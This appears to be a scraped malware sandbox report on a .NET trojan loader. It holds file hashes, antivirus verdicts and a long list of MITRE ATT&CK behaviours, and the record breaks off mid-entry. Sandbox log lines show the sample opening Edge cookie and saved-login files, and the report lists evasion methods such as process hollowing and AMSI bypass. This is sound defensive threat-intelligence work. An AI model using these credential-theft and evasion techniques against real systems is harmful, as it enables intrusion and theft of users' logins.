"aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 74\NETWORK\COOKIES" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 80\NETWORK\COOKIES" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 82\NETWORK\COOKIES" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 108\NETWORK\COOKIES" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data111" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\efd4472504a0a448ca5f01377b87ca17" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\EFD4472504A0A448CA5F01377B87CA17-JOURNAL" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\EFD4472504A0A448CA5F01377B87CA17-WAL" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA111-JOURNAL" "aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA111-WAL"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790939871550,"unified_at":"2026-10-02T11:17:51.550Z","metadata":{"hashes":{"sha256":"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e","sha1":"93583178a8a370778b95a89c508c6bb7ee304df7","md5":"739ac92d82f9ae4f557923ee2689099a","sha512":"db8570f53b70606455581827d164d132b30a6afe0a1eed2138546a5ca356887fa4d274cd5f5487ac13cfa3e9464ff0fd9669ef989617c127cc6018d3545de0b0","ssdeep":"98304:eGhiQrGkLDRgEi8qouBe2MBX25lWu2SkP4datub79STffx75rmtasHXFQj95Vsve:BikVgyXUlW6kPWatu/gffBND","ssdeep_chunks":["98304:eGhiQrG","98304:GhiQrGk","98304:hiQrGkL","98304:iQrGkLD","98304:QrGkLDR","98304:rGkLDRg","98304:GkLDRgE","98304:kLDRgEi","98304:LDRgEi8","98304:DRgEi8q","98304:RgEi8qo","98304:gEi8qou","98304:Ei8qouB","98304:i8qouBe","98304:8qouBe2","98304:qouBe2M","98304:ouBe2MB","98304:uBe2MBX","98304:Be2MBX2","98304:e2MBX25","98304:2MBX25l","98304:MBX25lW","98304:BX25lWu","98304:X25lWu2","98304:25lWu2S","98304:5lWu2Sk","98304:lWu2SkP","98304:Wu2SkP4","98304:u2SkP4d","98304:2SkP4da","98304:SkP4dat","98304:kP4datu","98304:P4datub","98304:4datub7","98304:datub79","98304:atub79S","98304:tub79ST","98304:ub79STf","98304:b79STff","98304:79STffx","98304:9STffx7","98304:STffx75","98304:Tffx75r","98304:ffx75rm","98304:fx75rmt","98304:x75rmta","98304:75rmtas","98304:5rmtasH","98304:rmtasHX","98304:mtasHXF","98304:tasHXFQ","98304:asHXFQj","98304:sHXFQj9","98304:HXFQj95","98304:XFQj95V","98304:FQj95Vs","98304:Qj95Vsv","98304:j95Vsve","196608:eGhiQrG","196608:GhiQrGk","196608:hiQrGkL","196608:iQrGkLD","196608:QrGkLDR","196608:rGkLDRg","196608:GkLDRgE","196608:kLDRgEi","196608:LDRgEi8","196608:DRgEi8q","196608:RgEi8qo","196608:gEi8qou","196608:Ei8qouB","196608:i8qouBe","196608:8qouBe2","196608:qouBe2M","196608:ouBe2MB","196608:uBe2MBX","196608:Be2MBX2","196608:e2MBX25","196608:2MBX25l","196608:MBX25lW","196608:BX25lWu","196608:X25lWu2","196608:25lWu2S","196608:5lWu2Sk","196608:lWu2SkP","196608:Wu2SkP4","196608:u2SkP4d","196608:2SkP4da","196608:SkP4dat","196608:kP4datu","196608:P4datub","196608:4datub7","196608:datub79","196608:atub79S","196608:tub79ST","196608:ub79STf","196608:b79STff","196608:79STffx","196608:9STffx7","196608:STffx75","196608:Tffx75r","196608:ffx75rm","196608:fx75rmt","196608:x75rmta","196608:75rmtas","196608:5rmtasH","196608:rmtasHX","196608:mtasHXF","196608:tasHXFQ","196608:asHXFQj","196608:sHXFQj9","196608:HXFQj95","196608:XFQj95V","196608:FQj95Vs","196608:Qj95Vsv","196608:j95Vsve","98304:BikVgyX","98304:ikVgyXU","98304:kVgyXUl","98304:VgyXUlW","98304:gyXUlW6","98304:yXUlW6k","98304:XUlW6kP","98304:UlW6kPW","98304:lW6kPWa","98304:W6kPWat","98304:6kPWatu","98304:kPWatu/","98304:PWatu/g","98304:Watu/gf","98304:atu/gff","98304:tu/gffB","98304:u/gffBN","98304:/gffBND"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"SecuriteInfo.com.Trojan.MulDropNET.43.3806.2811.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":5375488,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1692934238000,"last_seen":1721689441000,"last_multi_scan":1721689441000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["amadeyloader","commodity","criminal","downloader","loader","smokeloader","evasive","windows-server-utility"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":73},"sandbox_signatures":{"informative_count":198,"suspicious_count":24,"malicious_count":13,"total":235},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Mokes.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AD.Swrort.iatfa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Jalapeno.293","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Jalapeno.293 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Agent.UZA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"VirTool/MSIL.Obfuscator.su","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 005a8b921 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-FVZC!739AC92D82F9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.ShortLoader.jywshq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/ILAgent-I","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader/W32.DN-ShortLoader.5375488","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.FFY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Injector.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.3661903","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Malware","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"},{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques"},{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains the ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Found Base64 decoding crypto library string in memory"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks internet related APIs"},{"type":"malicious","value":"Hooks process/system information retrieval APIs"},{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"tactic":"Discovery","technique":"System Information 